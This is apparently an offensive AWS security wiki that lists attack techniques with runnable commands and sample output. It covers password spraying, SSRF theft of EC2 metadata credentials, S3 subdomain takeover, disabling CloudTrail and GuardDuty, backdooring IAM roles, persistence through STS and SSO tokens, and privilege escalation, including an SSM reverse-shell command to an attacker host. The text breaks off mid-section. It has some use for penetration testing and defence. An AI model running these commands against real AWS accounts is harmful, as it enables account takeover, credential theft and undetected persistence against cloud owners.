* While AWS console users have a username and password, it's worth noting that with valid AWS IAM Access Keys and the right permission, [console login credentials](/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/generate-aws-console-session) can be generated for the associated user

{% code overflow="wrap" %}

```bash
./go/bin/GoAWSConsoleSpray -a 111111111111 -u users.txt -p passwords.txt

2024/12/07 22:40:14 GoAWSConsoleSpray: [2] users loaded. [2] passwords loaded. [4] potential login requests.
2024/12/07 22:40:14 Spraying User: arn:aws:iam::111111111111:user/jonsnow
2024/12/07 22:40:14 (jonsnow)	[+] SUCCESS:	Valid Password: Password!@# 	MFA: false
2024/12/07 22:40:14 Spraying User: arn:aws:iam::111111111111:user/whitewalker
```

{% endcode %}

* Using the tool, we shared a list of 2 usernames and 2 passwords, and got a valid hit on the user `jonsnow`and a password of `password!@#`


# Server Side Request Forgery (SSRF)

Server Side Request Forgery attacks can lead to the compromising of AWS EC2 IAM Roles

## Overview

While not unique to the cloud, Server Side Request Forgery (SSRF) is a type of web vulnerability affecting server side application code allowing an attacker to connect to internal services like internal databases or the [AWS EC2 Instance Metadata Service (IMDS)](/cloud-security/aws/aws/compute/ec2#imds).&#x20;

***

## Accessing EC2 IMDS Metadata

If we can find a vulnerable endpoint of an application running on an EC2 instance, e.g., `status.php?name=`  then we can access the IMDS service and retrieve metadata from the EC2 instance.

{% code overflow="wrap" %}

```bash
curl http://vulnerablewebsite.fake/status/status.php?name=169.254.169.254/latest/user-data/

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
[SNIP]
```

{% endcode %}

If the EC2 has an Instance Profile (IAM Role) attached, we can get the role's credentials,

{% code overflow="wrap" %}

```bash
curl http://vulnerablewebsite.fake/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/

ec2-application-role    # note the role name will be different (if there is one)
```

{% endcode %}

{% code overflow="wrap" %}

```bash
curl http://vulnerablewebsite.fake/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/ec2-application-role

[SNIP]
{
  "Code" : "Success",
  "LastUpdated" : "2024-01-03T23:24:35Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA[REDACTED]",
  "SecretAccessKey" : "wj+h[REDACTED]",
  "Token" : "IQoJb[REDACTED]",
  "Expiration" : "2024-01-04T05:38:34Z"
}
```

{% endcode %}

***

### IMDSv1 and v2

AWS introduced v2 of the IMDS service as a mitigation to the vulnerability described above with IMDSv1. V2 requires first getting a token to perform enumeration of IMDS. However, it's not fool proof. As long as you can make PUT requests, you can easily obtain a token and continue the attack.

{% tabs %}
{% tab title="IMDSv1" %}
{% code overflow="wrap" %}

```bash
curl http://vulnerablewebsite.fake/status/status.php?name=169.254.169.254/latest/

meta-data/
dynamic
user-data/
```

{% endcode %}
{% endtab %}

{% tab title="IMDSv2" %}
{% code overflow="wrap" %}

```bash
TOKEN=`curl -X PUT "http://vulnerablewebsite.fake/status/status.php?name=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
```

{% endcode %}

{% code overflow="wrap" %}

```bash
curl -H "X-aws-ec2-metadata-token: $TOKEN" "http://vulnerablewebsite.fake/status/status.php?name=http://169.254.169.254/latest"

meta-data/
dynamic
user-data/
```

{% endcode %}
{% endtab %}
{% endtabs %}

***

### Metadata Service Info

#### Endpoints

{% tabs %}
{% tab title="IPv4" %}
{% code overflow="wrap" %}

```bash
http://169.254.169.254/latest/
```

{% endcode %}
{% endtab %}

{% tab title="IPv6" %}
{% code overflow="wrap" %}

```bash
http://[fd00:ec2::254]/latest/
```

{% endcode %}
{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Metadata" %}
This endpoint provides info like the instance's region, security groups, IAM role credentials, and more. All categories of information can be viewed in the [AWS docs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories).

{% code overflow="wrap" %}

```bash
http://169.254.169.254/latest/meta-data/
http://[fd00:ec2::254]/latest/meta-data/

ami-id
ami-launch-index
ami-manifest-path
[SNIP]
```

{% endcode %}
{% endtab %}

{% tab title="User Data" %}
This endpoint provides access to the User Data script that may or may not have been used when launching the EC2. This could contain sensitive information like API keys, credentials, and resource names.

{% code overflow="wrap" %}

```bash
http://169.254.169.254/latest/user-data
http://[fd00:ec2::254]/latest/user-data

#!/bin/bash
yum update -y
service httpd start
chkconfig httpd on
```

{% endcode %}
{% endtab %}

{% tab title="Dynamic Data" %}
This provides a cryptographically signed document that describes the instance and its attributes.

{% code overflow="wrap" %}

```bash
http://169.254.169.254/latest/dynamic/instance-identity/
http://[fd00:ec2::254]/latest/dynamic/instance-identity/

rsa2048
pkcs7
document
signature
dsa2048
```

{% endcode %}
{% endtab %}
{% endtabs %}


# Subdomain Takeovers

Compromise a subdomain by taking over resources no longer existing

## What is a Subdomain Takeover?

* Subdomains e.g., `projects.mywebsite.com` have DNS records that can point to resources like servers or AWS S3 buckets
* When the resource is deleted but the DNS record remains, an attacker can create a new resource with the same name, redirecting traffic to the attacker's

***

## S3 Bucket&#x20;

* S3 buckets can host static websites and leverage a domain name by having an associated CNAME record configured. This allows you to go to `mywebsite.com` instead of `https://mywebsite.s3.amazonaws.com`. However, if the bucket is deleted but the CNAME still exists, an attacker can create a new bucket and website, effectively routing any traffic to the attacker's website.&#x20;
* This vulnerability can be discovered while navigating to a domain and receiving a 404 error along with the code `NoSuchBucket`. The examples below show a bucket without a CNAME record but the same error messages would show regardless.&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FpfdMiHCZbFCMGcJbclP1%2Fimage.png?alt=media&amp;token=f9e9dc50-6a8c-4437-ada9-c5f53d3e82df" alt=""><figcaption><p>Error message shown in web browser of an S3 static website where the bucket has been deleted</p></figcaption></figure>

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FbP13TK38yYTpApD09N5j%2Fimage.png?alt=media&amp;token=4590b84f-8d71-41ad-ba7c-cb5d0e235bf5" alt=""><figcaption><p>Error message shown in a terminal of an S3 static website where the bucket has been deleted</p></figcaption></figure>

### Exploit

{% code overflow="wrap" %}

```bash
# create an s3 bucket
aws s3api create-bucket --bucket <bucketName> --region <region>

# configures the bucket to host a website
aws s3 website s3://<bucketName> --index-document index.html --error-document error.html

# copy website files to s3
aws s3 cp index.html error.html s3://<bucketName> 

# set the bucket to public
aws s3api put-public-access-block --bucket <bucketName> --public-access-block-configuration "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false"

# add a bucket policy enabling anyone to view the website
aws s3api put-bucket-policy --bucket <bucketName> --policy "{"Version":"2012-10-17","Statement":[{"Sid":"PublicReadGetObject","Effect":"Allow","Principal":"","Action":"s3:GetObject","Resource":"arn:aws:s3:::<bucketName>/"}]}"
```

{% endcode %}

***


# AWS Defense Evasion

Techniques attackers use to avoid detection


# CloudTrail Tampering

Techniques for avoiding CloudTrail detection

## Overview

Almost everything in AWS is an API call under the hood and can be logged by CloudTrail making it difficult for attackers to stay hidden. Trails are Regional resources and can be individually enabled for an AWS account or set up via AWS Organizations for all accounts and/or Regions in the Organization. Therefore, if logging can be disabled or otherwise compromised, an attacker can better stay hidden.&#x20;

{% hint style="warning" %}
CloudTrail **Management Events** always stay enabled regardless of the techniques below and record control-plane related events from the past 90 days.&#x20;
{% endhint %}

{% hint style="info" %}
For defenders, review the actions below and restrict them e.g., via a Service Control Policy (SCP).
{% endhint %}

## Tampering

### Service

| Action                         | Description                                                                                                                      |
| ------------------------------ | -------------------------------------------------------------------------------------------------------------------------------- |
| `cloudtrail:DeleteTrail`       | Deletes the CloudTrail trail entirely, stopping all logging and visibility into account activity.                                |
| `cloudtrail:PutEventSelectors` | Modifies Event Selectors or Advanced Event Selectors, changing what data the trail captures and potentially reducing visibility. |
| `cloudtrail:StopLogging`       | Stops logging for the trail, disabling the recording of account activity.                                                        |
| `cloudtrail:UpdateTrail`       | Alters trail configuration, which can weaken logging, change destinations, or reduce coverage of events.                         |

### Related Resources

#### S3 Bucket

Since CloudTrail logs are stored in an S3 bucket, an attacker can delete or modify the bucket.

| Action                            | Description                                                                                |
| --------------------------------- | ------------------------------------------------------------------------------------------ |
| `s3api:DeleteObject`              | Deletes objects in the bucket where logs are stored, effectively removing historical logs. |
| `s3api:DeleteBucket`              | Deletes the bucket containing logs, preventing storage of future logs.                     |
| `s3api:PutBucketPolicy`           | Updates the bucket policy to block the service from writing logs.                          |
| `s3api:PutLifecycleConfiguration` | Changes the bucket lifecycle to automatically delete logs, reducing historical visibility. |

#### IAM Role

CloudTrail relies on a service-linked IAM Role, `AWSServiceRoleForCloudTrail`

* The role is only assumable by the CloudTrail service and you [cannot modify the trust policy of a service-linked role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_update-role-trust-policy.html#:~:text=You%20cannot%20modify%20the%20trust%20policy)

| Action           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `iam:DeleteRole` | Deleting the role would cause loss of logging. \*\* This cannot be deleted unless [all related CloudTrail resources are also deleted first](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/using-service-linked-roles-create-slr-for-org-trails.html#:~:text=To%20do%20this%2C%20you%20must%20first%20manually%20clean%20up%20the%20resources%20for%20your%20service%2Dlinked%20role%2C%20and%20then%20you%20can%20manually%20delete%20it). |

#### SNS Topic

CloudTrail can have an SNS topic for message delivery, an attacker can delete or modify the topic.

| Action            | Description                                       |
| ----------------- | ------------------------------------------------- |
| `sns:DeleteTopic` | Deleting the SNS topic may disrupt detections.    |
| `sns:Unsubscribe` | Unsubscribing from alerts may disrupt detections. |


# GuardDuty Tampering

Techniques for avoiding and disabling GuardDuty detection

## Overview

AWS GuardDuty is a **regional** threat detection service able to detect potentially malicious activity like connections from [Tor nodes, anomalous behavior, recon, privilege escalation, and more](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html). Therefore, if detection can be disabled or otherwise compromised, an attacker can better stay hidden.&#x20;

{% hint style="warning" %}
Tampering may be detected in CloudTrail logs if enabled.
{% endhint %}

{% hint style="info" %}
For defenders, review the actions below and restrict them e.g., via a Service Control Policy (SCP).
{% endhint %}

***

## Tampering

### Service

| Action                                    | Description                                                                                                    |
| ----------------------------------------- | -------------------------------------------------------------------------------------------------------------- |
| `guardduty:CreateDetector`                | GuardDuty should be centrally managed and configured; do not allow unauthorized creation of detectors.         |
| `guardduty:DeleteDetector`                | Deletes the GuardDuty detector entirely, disabling all detections and visibility.                              |
| `guardduty:UpdateDetector`                | Modifies detector configuration, potentially weakening or disabling detection capabilities.                    |
| `guardduty:CreateFilter`                  | Creates suppression rules that can hide or auto-archive findings, reducing visibility into malicious activity. |
| `guardduty:DeleteFilter`                  | Removes suppression rules, potentially increasing noise and allowing attackers to blend in.                    |
| `guardduty:UpdateFilter`                  | Alters suppression rules to selectively hide or manipulate visibility of findings.                             |
| `guardduty:ArchiveFindings`               | Archives findings, allowing malicious activity to be hidden from active investigation.                         |
| `guardduty:CreateSampleFindings`          | Generates sample findings, increasing noise and potentially masking real threats.                              |
| `guardduty:UnarchiveFindings`             | Restores archived findings, potentially creating confusion or alert fatigue.                                   |
| `guardduty:UpdateFindingsFeedback`        | Changes findings feedback (e.g., marking as false positive), reducing trust and suppressing escalation.        |
| `guardduty:CreateIPSet`                   | Creates IP sets that influence detection logic; could be used to whitelist malicious IPs.                      |
| `guardduty:DeleteIPSet`                   | Removes IP sets, weakening detection coverage and reducing visibility.                                         |
| `guardduty:UpdateIPSet`                   | Modifies IP sets, potentially allowing attackers to evade detection.                                           |
| `guardduty:AcceptInvitation`              | Accepts an invitation to join another GuardDuty account, potentially enabling unauthorized control.            |
| `guardduty:DeclineInvitations`            | Declines invitations, preventing centralized monitoring and reducing visibility.                               |
| `guardduty:DeleteInvitations`             | Deletes invitations, disrupting onboarding into centralized GuardDuty management.                              |
| `guardduty:CreateMembers`                 | Adds member accounts, potentially introducing unauthorized or rogue accounts.                                  |
| `guardduty:DeleteMembers`                 | Removes member accounts, creating monitoring gaps and blind spots.                                             |
| `guardduty:DisassociateMembers`           | Disassociates member accounts, reducing centralized visibility and control.                                    |
| `guardduty:InviteMembers`                 | Sends invitations to accounts, potentially onboarding unauthorized entities.                                   |
| `guardduty:StartMonitoringMembers`        | Enables monitoring for members, which could be selectively manipulated.                                        |
| `guardduty:StopMonitoringMembers`         | Disables monitoring for members, creating visibility gaps and blind spots.                                     |
| `guardduty:DisassociateFromMasterAccount` | Breaks association with the administrator account, removing centralized security oversight.                    |
| `guardduty:CreatePublishingDestination`   | Creates a destination for findings export, potentially enabling data exfiltration or redirection.              |
| `guardduty:DeletePublishingDestination`   | Deletes export destinations, disrupting downstream monitoring and integrations.                                |
| `guardduty:UpdatePublishingDestination`   | Modifies export destinations, potentially redirecting or suppressing findings.                                 |
| `guardduty:TagResource`                   | Adds or modifies tags, potentially impacting automation or access control decisions.                           |
| `guardduty:UntagResource`                 | Removes tags, potentially bypassing tag-based controls or automation.                                          |
| `guardduty:CreateThreatIntelSet`          | Creates threat intelligence sets, which could be manipulated to allow malicious indicators.                    |
| `guardduty:DeleteThreatIntelSet`          | Deletes threat intelligence sets, reducing detection effectiveness.                                            |
| `guardduty:UpdateThreatIntelSet`          | Modifies threat intelligence sets, potentially poisoning or weakening detections.                              |

### Related Resources

#### S3 Bucket

Since GuardDuty logs can be stored in an S3 bucket, we need to also protect the bucket from being modified / deleted.

| Action                            | Description                                                                                |
| --------------------------------- | ------------------------------------------------------------------------------------------ |
| `s3api:DeleteObject`              | Deletes objects in the bucket where logs are stored, effectively removing historical logs. |
| `s3api:DeleteBucket`              | Deletes the bucket containing logs, preventing storage of future logs.                     |
| `s3api:PutBucketPolicy`           | Updates the bucket policy to block the service from writing logs.                          |
| `s3api:PutLifecycleConfiguration` | Changes the bucket lifecycle to automatically delete logs, reducing historical visibility. |

#### IAM Role

GuardDuty relies on a service-linked IAM Role, `AWSServiceRoleForAmazonGuardDuty`

* The role is only assumable by the GuardDuty service and you [cannot modify the trust policy of a service-linked role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_update-role-trust-policy.html#:~:text=You%20cannot%20modify%20the%20trust%20policy)

| Action           | Description                                                                                                                                                                                                                                                                                                                                                                             |
| ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `iam:DeleteRole` | Deleting the role would cause loss of logging. \*\* This cannot be deleted unless [all related GuardDuty resources are also deleted first](https://docs.aws.amazon.com/guardduty/latest/ug/slr-permissions.html#:~:text=You%20must%20first%20disable%20GuardDuty%20in%20all%20Regions%20where%20it%20is%20enabled%20in%20order%20to%20delete%20the%20AWSServiceRoleForAmazonGuardDuty). |

#### SNS Topic

GuardDuty can have an SNS topic for message delivery, an attacker can delete or modify the topic.

| Action            | Description                                       |
| ----------------- | ------------------------------------------------- |
| `sns:DeleteTopic` | Deleting the SNS topic may disrupt detections.    |
| `sns:Unsubscribe` | Unsubscribing from alerts may disrupt detections. |


# Undocumented AWS APIs

Techniques for avoiding CloudTrail detection

## Overview

Nick Frichetten has published a tool [aws-api-models](https://github.com/Frichetten/aws-api-models) that looks for undocumented API models. Historically, there have been undocumented APIs that are not logged to CloudTrail or detected by AWS GuardDuty.&#x20;


# Nonproduction API Endpoints

Techniques for avoiding CloudTrail detection

## Overview

When interacting with AWS services, there is an API Endpoint you hit e.g.,&#x20;

{% code overflow="wrap" %}

```bash
aws iam list-users
```

{% endcode %}

The **IAM** commands hit the service endpoint `iam.amazonaws.com` over HTTPS. Every service and region has different endpoints with some supporting both HTTP and HTTPS. You can add `--debug` to your AWS CLI commands and view the endpoint in the output e.g.,&#x20;

{% code overflow="wrap" %}

```bash
aws iam list-users --debug

[SNIP]
2025-08-02 14:47:29,094 - MainThread - urllib3.connectionpool - DEBUG - Starting new HTTPS connection (1): iam.amazonaws.com:443
2025-08-02 14:47:29,426 - MainThread - urllib3.connectionpool - DEBUG - https://iam.amazonaws.com:443 "POST / HTTP/1.1" 200 619
[SNIP]
```

{% endcode %}

You can also specify alternative endpoints like so,&#x20;

{% hint style="info" %}
Notice the EC2 service endpoint supports HTTP so the data sent/received is unencrypted
{% endhint %}

{% code overflow="wrap" %}

```bash
aws ec2 describe-instances --region us-east-1 --endpoint http://ec2.us-east-1.amazonaws.com
```

{% endcode %}

***

## Using Nonproduction API Endpoints

{% hint style="warning" %}
It's rare to find a nonproduction endpoint that does not log to CloudTrail and also returns production data.&#x20;
{% endhint %}

{% embed url="<https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/>" %}

DataDog has published a tool [undocumented-aws-api-hunter](https://github.com/DataDog/undocumented-aws-api-hunter/) to discover nonproduction API endpoints that are created and used by the team at AWS for different purposes and which are regularly recycled.&#x20;

From an attacker's perspective, these endpoints are interesting for a number of reasons:

* they may or may not return production data (i.e., data in your account — provided you have permissions to view this)&#x20;
* they may or may not log the API call to CloudTrail&#x20;
* even if they don't return production data (and even better if it's not logged to CloudTrail), it's a useful way to identify what permissions you have in the account
* even if they log to CloudTrail, it may show up as a non-standard Event Source which may not get picked up by detection rules / tooling&#x20;


# AWS Persistence

Techniques threat actors use to maintain persistence in an AWS environment


# Generate IAM Access Keys from CloudShell

AWS persistence technique

## Overview

See details here [Generate IAM Access Keys from CloudShell](/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/generate-iam-access-keys-from-cloudshell)


# Creating IAM Access Keys

AWS persistence technique

## Overview

AWS IAM Users can have up to two Access Keys and threat actors have been known to create these to maintain persistence in a compromised account.&#x20;

{% code overflow="wrap" %}

```bash
aws iam create-access-key --user-name <userName>
```

{% endcode %}


# Backdoor an IAM Role

AWS persistence technique

## Overview

AM Roles have Trust Policies which dictate who or what (user/role/service) can assume the Role and gain access to its credentials and permissions. With this permission, a threat actor can modify the role's trust policy and gain access to it.&#x20;

{% code overflow="wrap" %}

```bash
aws iam update-assume-role-policy --role-name Engineering --policy-document file://attacker-trust-policy.json
```

{% endcode %}

{% code overflow="wrap" %}

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": [
                    "arn:aws:iam::111111111111:user/legitimate-user",
                    "arn:aws:iam::222222222222:user/threat-actor"
                ]
            },
            "Action": "sts:AssumeRole"
        }
    ]
}
```

{% endcode %}


# Generating Temporary AWS Credentials from IAM User

AWS persistence technique

## Overview

This is an interesting access vector that [threat actors](https://redcanary.com/blog/threat-detection/aws-sts/?utm_source=chatgpt.com) are taking to avoid detection and maintain persistence. By generating temporary credentials (this can be done multiple times to have backups) threat actors can maintain persistence in a target's AWS account.&#x20;

* The temporary credentials **remain active** even if the original compromised IAM User has had their access keys deactivated / deleted
* The temporary credentials have whatever permissions the compromised IAM User has at the current time so adding or removing permissions affects the temporary credentials' permissions
* These options **do not work** with IAM Roles

***

### sts:GetFederationToken

{% hint style="warning" %}
The user **must have permission** to execute `sts:GetFederationToken`
{% endhint %}

{% hint style="success" %}
This can throw off defenders because you can name the new identity whatever you want!
{% endhint %}

The following command allows you to generate temporary (15 min - 36 hours) credentials from an IAM User.&#x20;

* You can specify any name you want — it doesn't need to be a real user
* You can specify any policy you want (up to 10 managed and/or inline policies) but **you only have the permissions the user running this command has** even if you pass it an administrator policy

{% code overflow="wrap" %}

```bash
aws sts get-federation-token --name sally --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess --duration-seconds 129600

{
    "Credentials": {
        "AccessKeyId": "ASIA[REDACTED]",
        "SecretAccessKey": "pZlpr[REDACTED]",
        "SessionToken": "IQoJb3J[REDACTED]",
        "Expiration": "2025-11-11T08:56:15+00:00"
    },
    "FederatedUser": {
        "FederatedUserId": "111111111111:sally",
        "Arn": "arn:aws:sts::111111111111:federated-user/sally"
    },
    "PackedPolicySize": 7
}
```

{% endcode %}

* The credentials can be configured with `aws --profile sally configure`

{% code overflow="wrap" %}

```bash
aws --profile sally sts get-caller-identity
{
    "UserId": "111111111111:sally",
    "Account": "111111111111",
    "Arn": "arn:aws:sts::111111111111:federated-user/sally"
}
```

{% endcode %}

***

### sts:GetSessionToken

{% hint style="warning" %}
The user needs no permissions to execute this command
{% endhint %}

{% hint style="danger" %}
This is less stealthy because you can't change the session name
{% endhint %}

The following command allows you to generate temporary (15 min - 36 hours) credentials from an IAM User.&#x20;

{% code overflow="wrap" %}

```bash
aws --profile tyler sts get-session-token --duration-seconds 129600

{
    "Credentials": {
        "AccessKeyId": "ASIA[REDACTED]",
        "SecretAccessKey": "PTBAG[REDACTED]",
        "SessionToken": "IQoJb3Jp[REDACTED]",
        "Expiration": "2025-11-10T08:47:10+00:00"
    }
}
```

{% endcode %}

* The credentials can be configured with `aws --profile tyler-backdoor configure`

{% code overflow="wrap" %}

```bash
aws --profile tyler-backdoor sts get-caller-identity

{
    "UserId": "AIDA[REDACTED]",
    "Account": "111111111111",
    "Arn": "arn:aws:iam::111111111111:user/tyler"
}
```

{% endcode %}


# Generating Temporary Credentials from SSO Credentials File

AWS persistence technique

## Overview

This is a [really neat post](https://redcanary.com/blog/threat-detection/aws-sso-access-tokens/) detailing how threat actors can gain credentials from an AWS SSO credentials file.&#x20;

***

### AWS SSO files

To authenticate via SSO (AWS Identity Center) on the command line, a few steps are required:

* This will redirect you to the AWS Console to authenticate

{% code overflow="wrap" %}

```bash
aws configure sso

SSO session name (Recommended): my-sso-connection
SSO start URL [None]: <AWS access portal URL>
SSO region [None]: <region-of-aws-identity-center>
SSO registration scopes [sso:account:access]: <hit-enter>

Attempting to automatically open the SSO authorization page in your default browser.
If the browser does not open, open the following URL:

https://oidc.us-east-1.amazonaws.com/authorize?response_type=code&client_id=IgPwONL[SNIP]
```

{% endcode %}

* Then you'll be prompted to choose the account to access (assuming you can access more than one)

```bash
There are 2 AWS accounts available to you.
> Account A, email@domain.com (111111111111)         
  Account B, email@domain.com (222222222222)  
```

* Then you'll choose the permission set (assuming you have access to more than one) or if not, it'll default you to the only permission set you have access to

{% code overflow="wrap" %}

```bash
Using the account ID 111111111111
The only role available to you is: Billing
Using the role name "Billing"
Default client Region [us-east-1]:
CLI default output format (json if not specified) [json]:
Profile name [Billing-111111111111]:
To use this profile, specify the profile name using --profile, as shown:

aws sts get-caller-identity --profile Billing-111111111111
```

{% endcode %}

* Then this info will be added to `~/.aws/config`

{% code overflow="wrap" %}

```bash
[profile Billing-111111111111]
sso_session = my-sso-connection
sso_account_id = 111111111111
sso_role_name = Billing
region = us-east-1
output = json
[sso-session my-sso-connection]
sso_start_url = https://d-[REDACTED].awsapps.com/start
sso_region = us-east-1
sso_registration_scopes = sso:account:access
```

{% endcode %}

* And two files will be added to `~/.aws/sso/cache`
* The one we want contains this info

{% code overflow="wrap" %}

```bash
{
    "startUrl": "https://d-[REDACTED].awsapps.com/start",
    "region": "us-east-1",
    "accessToken": "aoaAA[REDACTED]",
    "expiresAt": "2025-11-10T00:03:54Z",
    "clientId": "t7o[REDACTED]",
    "clientSecret": "eyJra[REDACTED]",
    "registrationExpiresAt": "2026-02-07T23:02:29Z",
    "refreshToken": "aorAA[REDACTED]"
}
```

{% endcode %}

***

### Getting STS Credentials

We can't directly use the credentials found in the file above but we can leverage the refresh token to generate some new ones from the AWS STS service as long as the token is still valid.&#x20;

* Grab the info from `~/.aws/config` and `~/.aws/sso/cache/<file>.json` and add to the command below:

{% code overflow="wrap" %}

```bash
aws sso get-role-credentials \
--account-id 111111111111 \
--role-name Billing \
--access-token aoaAA[REDACTED]

{
    "roleCredentials": {
        "accessKeyId": "ASIA[REDACTED]",
        "secretAccessKey": "TPif[REDACTED]",
        "sessionToken": "IQoJ[REDACTED]",
        "expiration": 1762735200000
    }
}
```

{% endcode %}

* We can setup those new credentials with `aws --profile billing-sso configure`
* The credentials will last as long as is configured in AWS Identity Center under "User interactive sessions" e.g., (15 min - 90 days).

```
aws --profile billing-sso sts get-caller-identity 

{
    "UserId": "AROA[REDACTED]:hpotter",
    "Account": "111111111111",
    "Arn": "arn:aws:sts::111111111111:assumed-role/AWSReservedSSO_Billing_[REDACTED]/hpotter"
}
```


# AWS Privilege Escalation

Leveraging AWS permissions for privilege escalation and compromise


# EC2

Abusable AWS EC2 permissions that can lead to compromise or privilege escalation

## ec2:replace-iam-instance-profile-association

* With this permission, we can swap IAM Roles on an EC2 which may have new permissions

{% code overflow="wrap" %}

```zsh
aws ec2 replace-iam-instance-profile-association \
    --iam-instance-profile Name=<ec2-instance-profile-name> \
    --association-id <iam-instance-profile-association-id>
```

{% endcode %}

* Instance profile names and association id can be found with `aws iam list-instance-profiles` and `ec2 describe-iam-instance-profile-associations`&#x20;

***

## ssm:SendCommand

* This features requires Systems Manager to be properly setup on an EC2
* With `SendCommand` we can remotely execute commands on an EC2 e.g., modifying files, creating users, or executing reverse shells

{% code overflow="wrap" %}

```zsh
aws ssm send-command \
    --instance-ids "<instance-id>" \
    --document-name "AWS-RunShellScript" \
    --parameters 'commands=["bash -c '\''bash -i >& <attacker-ip-or-domain>/<attacker-port> 0>&1'\''"]' \
    --region <aws-region-of-ec2>
```

{% endcode %}

***

## IMDS

* If an EC2 is running IMDSv1 or v2, there may be an IAM Role attached to it and we can retrieve the role's credentials through this service
* We need code execution on the instance (e.g., via SSH, SSM, EC2 Connect) or via an exploitable vulnerability like Server Side Request Forgery (SSRF)
* See the link below which demonstrates how to interact with the IMDS service regardless of how you obtained code execution ability&#x20;

{% embed url="<https://www.techwithtyler.dev/~/revisions/L6UwESnJerVXKIvewUh4/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/server-side-request-forgery-ssrf>" %}


# Elastic Container Registry (ECR)

Abusable Amazon ECR permissions that can lead to compromise or privilege escalation

## ecr:SetRepositoryPolicy

With access to these permissions, an attacker can create/modify a repository's resource permission policy, escalting their privileges.&#x20;

{% code overflow="wrap" %}

```bash
aws --region us-east-1 ecr set-repository-policy --repository-name tyler/my-private-repo --policy-text file://repo_policy.json
```

{% endcode %}

For the repository policy, the attacker could specify all AWS principals (any in the world):

* `"Principal": "*",`
* Or could specify the ARN of the their (attacker) account's root user (which actually allows anyone in the attacker's account these permissions):

{% code overflow="wrap" %}

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowEveryone",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::<attacker-aws-account-id>:root"
        ]
      },
      "Action": [
        "ecr:PutImage",
        "ecr:DescribeImages",
        "ecr:ListImages",
        "ecr:DescribeRepositories",
        "ecr:GetAuthorizationToken"
      ]
    }
  ]
}
```

{% endcode %}

***

## ecr:PutImage

With access to this permission, an attacker could upload a compromised image e.g., one with a backdoor or that sends data back to a C\&C server (command and control).&#x20;

{% code overflow="wrap" %}

```bash
docker tag attacker-compromised-ubuntu:latest 111111111111.dkr.ecr.us-east-1.amazonaws.com/tyler/my-private-registry:ubuntu-latest

docker push 111111111111.dkr.ecr.us-east-1.amazonaws.com/tyler/my-private-registry:ubuntu-latest
```

{% endcode %}


# Identity Access Management (IAM)

Abusable AWS IAM permissions that can lead to compromise or privilege escalation

## iam:CreateAccessKey

* With access to these permissions, an attacker can create a set of IAM Access Keys, enabling them to maintain persistent access to a user.

{% code overflow="wrap" %}

```bash
aws iam create-access-key --user-name <userName>
```

{% endcode %}

***

## iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion

* With access to these permissions, an attacker can create and enable a new IAM permissions policy, escalating their privileges.

{% code overflow="wrap" %}

```bash
aws iam create-policy-version --policy-arn arn:aws:iam::<accountId>:policy/<policyName> --policy-document file://<policyName>.json --set-as-default
```

{% endcode %}

```json
# example iam policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "s3:*",
            "Resource": "*"
        }
    ]
}
```

***

## iam:SetExistingDefaultPolicyVersion

* With access to this permission, an attacker can attach a different version of an IAM policy, potentially escalating privileges or gaining access to other resources.

{% code overflow="wrap" %}

```bash
# view available versions of a policy
aws iam list-policy-versions --policy-arn <policyArn>

# view the policy for a particular version
aws iam get-policy-version --policy-arn <policyArn> --version-id <versionId>

# attach a specific version of a policy
aws iam set-default-policy-version --policy-arn <policyArn> --version-id <versionId>
```

{% endcode %}

***

## iam:AttachUserPolicy

* With access to this permission, an attacker can attach a new policy to an IAM user, potentially escalating privileges or gaining access to other resources.

{% code overflow="wrap" %}

```bash
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name <userName> 
```

{% endcode %}

***

## iam:UpdateAssumeRolePolicy

* With access to this permission, an attacker can modify an IAM Role's Trust Policy, enabling themselves or another identity (user, role, service) the ability to assume the role, potentially escalating privileges or gaining access to other resources.

{% code overflow="wrap" %}

```bash
aws iam update-assume-role-policy --role-name <roleName> --policy-document file://<trustPolicy>.json
```

{% endcode %}

```json
# example trust policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::<accountId>:user/<userName>"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}
```


# IAM Trust Policies

Abusable AWS IAM Trust Policies that can lead to compromise or privilege escalation

## Abusing Vulnerable Trust Policies

* Poorly written IAM Trust Policies can lead to compromise

***

## AWS Service Trust Policy

### Bad policy

